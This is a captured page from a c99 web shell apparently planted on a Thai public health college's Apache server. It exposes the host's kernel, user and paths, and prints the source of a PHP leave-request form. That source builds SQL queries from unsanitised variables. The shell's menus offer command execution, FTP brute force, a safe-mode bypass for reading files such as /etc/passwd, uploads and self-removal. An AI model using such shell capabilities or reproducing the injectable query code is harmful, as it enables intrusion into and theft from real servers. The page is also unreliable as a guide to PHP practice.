!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AdFrmAbsen.php (13.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM  user_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs1 mysql_fetch_array($res);
$sql1 =  " SELECT * FROM  project_type_tb   Where   Budget_Year='$Budget_Year'  and   Faculty_code='$Faculty_code'  and  ProjectId='$ProjectId'   ";
$resultmysql_query($sql1) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<script language="JavaScript" src="../calendar/ew.js"></script> 
<script language="JavaScript" src="../calendar/popcalendar.js"></script>
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

</script>
<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-family: Tahoma;
}
.style2 {
    font-size: 14px;
    font-weight: bold;
}
.style3 {font-family: Tahoma}
.style5 {font-size: 14px; color: #FF0000; font-family: Tahoma;}
.style5 {font-size: 14px; color: #FF0000; font-family: Tahoma;}
.style6 {font-size: 14px; font-family: Tahoma; }
-->
</style>



<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style1"><a href="PlaningByYear.php">หน้าหลัก </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="PlaningByYear.php?Teacher_code=<? echo $rs[Teacher_code?>&amp;Budget_Year=<?php echo $rs[Budget_Year?>&amp;Faculty_code=<?php echo $rs[Faculty_code?> ">ข้อมูลแผนดำเนินงาน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลแผน/โครงการดำเนินการ (ข้อย่อย)</span></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertPlaningIn.php">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="91%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="29" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" ><table width="646" cellpadding="0" cellspacing="0">
                      <col width="88" />
                      <col width="79" />
                      <col width="85" />
                      <col width="56" />
                      <col width="64" />
                      <col width="185" />
                      <tr height="31">
                        <td height="31" width="104"></td>
                        <td width="74"></td>
                        <td colspan="3"><div align="center">แบบใบลาพักผ่อน</div></td>
                        <td width="109"></td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6">                                                                                               เขียนที่.................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">                                                                                       วันที่..........เดือน..................................พ.ศ..............</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="3" align="left">เรื่อง   ขอลาพักผ่อน</td>
                        <td width="48"></td>
                        <td width="189"></td>
                        <td></td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="5" align="left">เรียน      ผู้อำนวยการวิทยาลัยการสาธารณสุขสิรินธรจังหวัดชลบุรี</td>
                        <td></td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td colspan="5" align="left">ข้าพเจ้า.........................................................    ตำแหน่ง..........................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">สังกัด..................................................................................................................................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">มีวันลาพักผ่อนสะสม.......วันทำการ    มีสิทธิลาพักผ่อนประจำปีนี้อีก 10 วันทำการ รวมเป็น........วันทำการ</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">ขอลาพักผ่อนตั้งแต่วันที่.............................................ถึงวันที่............................................มีกำหนด...........วัน</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">ในระหว่างลาจะติดต่อข้าพเจ้าได้ที่....................................................................................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="6" align="left">..........................................................................................................................................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td width="120"></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="31">
                        <td height="31"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">                    
                        <div align="center">ขอแสดงความนับถือ</div></td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="3" align="left"><div align="center">สถิติการลาในปีงบประมาณนี้</div></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="31">
                        <td height="31" align="left"><div align="center">ลามาแล้ว           </div></td>
                        <td><div align="center">ลาครั้งนี้</div></td>
                        <td><div align="center">รวมเป็น</div></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="29">
                        <td height="29"><div align="center">วันทำการ          </div></td>
                        <td><div align="center">วันทำการ</div></td>
                        <td><div align="center">วันทำการ</div></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="31">
                        <td height="31">&nbsp;</td>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td colspan="3" align="left"><div align="center">ความเห็นผู้บังคับบัญชา</div></td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3"><div align="center">...........................................</div></td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="3" align="left">ลงชื่อ.............................................ผู้ตรวจสอบ </td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="2" align="left">ตำแหน่ง........................................     </td>
                        <td align="left">                                        </td>
                        <td colspan="3" align="left">  (ลงชื่อ)............ .................................... </td>
                      </tr>
                      <tr height="29">
                        <td height="29" colspan="3" align="left">      วันที่......../...................../............... </td>
                        <td colspan="3" align="left">(ตำแหน่ง)..............................….</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">         วันที่..........เดือน..........................พ.ศ............….</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="31">
                        <td height="31"></td>
                        <td></td>
                        <td></td>
                        <td align="left">คำสั่ง</td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td align="left">           (</td>
                        <td colspan="2" align="left">)  อนุญาต          (      ) ไม่อนุญาต</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td></td>
                        <td colspan="2" align="left">....................................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">...................................................................................</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">         (ลงชื่อ)......................................................……..</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">(ตำแหน่ง)............................................................….</td>
                      </tr>
                      <tr height="29">
                        <td height="29"></td>
                        <td></td>
                        <td></td>
                        <td colspan="3" align="left">         วันที่..........เดือน..........................พ.ศ............….</td>
                      </tr>
                      <tr height="31">
                        <td height="31"></td>
                        <td></td>
                        <td></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                    </table>                    
                    <p align="center">&nbsp;</p>
                    </td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--